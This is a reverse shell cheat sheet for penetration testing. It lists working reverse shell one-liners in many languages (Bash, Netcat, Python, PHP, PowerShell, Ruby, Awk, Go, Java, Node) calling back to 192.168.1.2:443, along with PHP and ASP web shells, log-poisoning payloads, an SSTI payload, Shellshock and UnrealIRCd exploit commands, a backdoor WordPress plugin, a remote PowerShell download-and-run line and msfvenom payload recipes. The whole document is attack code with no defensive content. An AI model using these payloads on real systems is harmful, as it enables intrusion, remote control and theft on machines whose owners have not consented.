Reverse Shell Cheat Sheet

• Bash

  • Bash URL Encoding

• Netcat

  • Netcat Linux
  • Netcat Windows
  • Netcat URL Encoding

• WebShell

  • ASP WebShell
  • PHP WebShell
  • Log Poisoning WebShell
    • SSH
    • FTP
    • HTTP

• Server Side Template Injection (SSTI)

• UnrealIRCd

• Shellshock

  • SSH
  • HTTP
    • HTTP 500 Internal Server Error

• CMS

  • WordPress
  • October
  • Jenkins

• Perl

• Python

• Python3

• PHP

• Ruby

• Xterm

• Ncat

• PowerShell

• Awk

• Gawk

• Golang

• Telnet

• Java

• Node

• Msfvenom

  • Web Payloads
    • PHP
    • WAR
    • JAR
    • JSP
    • ASPX
  • Linux Payloads
    • Listener Netcat
    • Listener Metasploit Multi Handler
  • Windows Payloads
    • Listener Netcat
    • Listener Metasploit Multi Handler

  ---

  Bash

  bash -i >& /dev/tcp/192.168.1.2/443 0>&1
  
  bash -c "bash -i >& /dev/tcp/192.168.1.2/443 0>&1"
  
  0<&196;exec 196<>/dev/tcp/192.168.1.2/443; sh <&196 >&196 2>&196
  
  bash -l > /dev/tcp/192.168.1.2/443 0<&1 2>&1

  Bash URL Encoding

  bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%22

  ---

  Netcat

  Netcat Linux

  nc -e /bin/sh 192.168.1.2 443
  
  nc -e /bin/bash 192.168.1.2 443
  
  nc -c /bin/sh 192.168.1.2 443
  
  nc -c /bin/bash 192.168.1.2 443
  
  rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f

  ---

  Netcat Windows

  nc.exe -e cmd 192.168.1.26 443

  ---

  Netcat URL Encoding

  rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.1.2%20443%20%3E%2Ftmp%2Ff

  ---

  WebShell

  ASP WebShell

  <%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

  PHP WebShell

  Basic

  <?php system($_GET['cmd']); ?>

  Basic Proportions OK

  <?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>

  ---

  Log Poisoning WebShell

  Log Poisoning SSH

  /var/log/auth.log

  ssh '<?php system($_GET['cmd']); ?>'@192.168.1.2

  /var/log/auth.log&cmd=id

  ---

  Log Poisoning FTP

  /var/log/vsftpd.log

  root@kali:~# ftp 192.168.1.3
  Connected to 192.168.1.3.
  220 (vsFTPd 3.0.3)
  Name (192.168.1.2:kali): <?php system($_GET['cmd']); ?>
  331 Please specify the password.
  Password: <?php system($_GET['cmd']); ?>
  530 Login incorrect.
  Login failed.
  ftp>

  /var/log/vsftpd.log&cmd=id

  ---

  Log Poisoning HTTP

  /var/log/apache2/access.log

  /var/log/nginx/access.log

  curl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>" "http://192.168.1.2"

  User-Agent: <?php system($_GET['cmd']); ?>

  /var/log/apache2/access.log&cmd=id

  /var/log/nginx/access.log&cmd=id

  ---

  Server Side Template Injection

  {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.2\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

  ---

  UnrealIRCd

  root@kali:~# echo "AB;nc -e /bin/sh 192.168.1.2 443" |nc 192.168.1.3 6667

  ---

  Shellshock

  Shellshock SSH

  root@kali:~# ssh user@192.168.1.3 -i id_rsa '() { :;}; nc 192.168.1.2 443 -e /bin/bash'

  ---

  Shellshock HTTP

  curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"
  
  curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"

  ---

  Shellshock HTTP 500 Internal Server Error

  curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"
  
  curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"
  
  curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"
  
  curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"

  ---

  CMS

  WordPress

  Plugin Reverse Shell

  root@kali:~# nano plugin.php

  <?php
  
  /**
  * Plugin Name: Shelly
  * Plugin URI: http://localhost
  * Description: Love Shelly
  * Version: 1.0
  * Author: d4t4s3c
  * Author URI: https://github.com/d4t4s3c
  */
  
  exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'");
  ?>

  root@kali:~# zip plugin.zip plugin.php

  • Plugins

  • Add New

  • Upload Plugin

  • Install Now

  • Activate Plugin

  October

  function onstart(){
      exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'");
  }

  Jenkins

  String host="192.168.1.2";
  int port=443;
  String cmd="cmd.exe";
  Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

  ---

  Perl

  perl -e 'use Socket;$i="192.168.1.2";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

  ---

  Python

  export RHOST="192.168.1.2";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

  python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

  Python3

  python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

  ---

  PHP

  <?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f"); ?>

  php -r '$sock=fsockopen("192.168.1.2",443);`/bin/sh -i <&3 >&3 2>&3`;'
  
  php -r '$sock=fsockopen("192.168.1.2",443);exec("/bin/sh -i <&3 >&3 2>&3");'
  
  php -r '$sock=fsockopen("192.168.1.2",443);system("/bin/sh -i <&3 >&3 2>&3");'
  
  php -r '$sock=fsockopen("192.168.1.2",443);passthru("/bin/sh -i <&3 >&3 2>&3");'
  
  php -r '$sock=fsockopen("192.168.1.2",443);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
  
  php -r '$sock=fsockopen("192.168.1.2",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
  
  php -r '$sock=fsockopen("192.168.1.2",443);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

  ---

  Ruby

  ruby -rsocket -e'f=TCPSocket.open("192.168.1.2",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  
  ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  
  ruby -rsocket -e 'c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

  ---

  Xterm

  xterm -display 192.168.1.2:443

  ---

  Ncat

  ncat 192.168.1.2 443 -e /bin/bash

  ---

  PowerShell

  powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.1.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
  
  powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.2',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  
  powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2:8000/reverse.ps1')

  ---

  Awk

  awk 'BEGIN {s = "/inet/tcp/0/192.168.1.2/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

  ---

  Gawk

  gawk 'BEGIN {P=443;S="> ";H="192.168.1.2";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")close(V)}}'

  ---

  Golang

  echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.1.2:443");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

  ---

  Telnet

  rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.2 443 0/tmp/p

  telnet 192.168.1.2 80 | /bin/bash | telnet 192.168.1.2 443

  ---

  Java

  r = Runtime.getRuntime()
  p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  p.waitFor()

  ---

  Node

  require('child_process').exec('bash -i >& /dev/tcp/192.168.1.2/443 0>&1');

  ---

  Msfvenom

  Web Payloads

  PHP Payload

  msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.php

  msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=443 -f raw > reverse.php

  War Payload

  msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f war > reverse.war

  JAR Payload

  msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f jar > reverse.jar

  JSP Payload

  msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > reverse.jsp

  ASPX Payload

  msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o reverse.aspx

  ---

  Windows Payloads

  Windows Listener Netcat

  x86 - Shell

  msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

  x64 - Shell

  msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

  Windows Listener Metasploit Multi Handler

  x86 - Meterpreter

  msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

  x64 - Meterpreter

  msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

  x86 - Shell

  msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

  x64 - Shell

  msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > reverse.exe

  ---

  Linux Payloads

  Linux Listener Netcat

  x86 - Shell

  msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

  x64 - Shell

  msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

  ---

  Linux Listener Metasploit Multi Handler

  x86 - Meterpreter

  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

  x64 - Meterpreter

  msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

  x86 - Shell

  msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf

  x64 - Shell

  msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > reverse.elf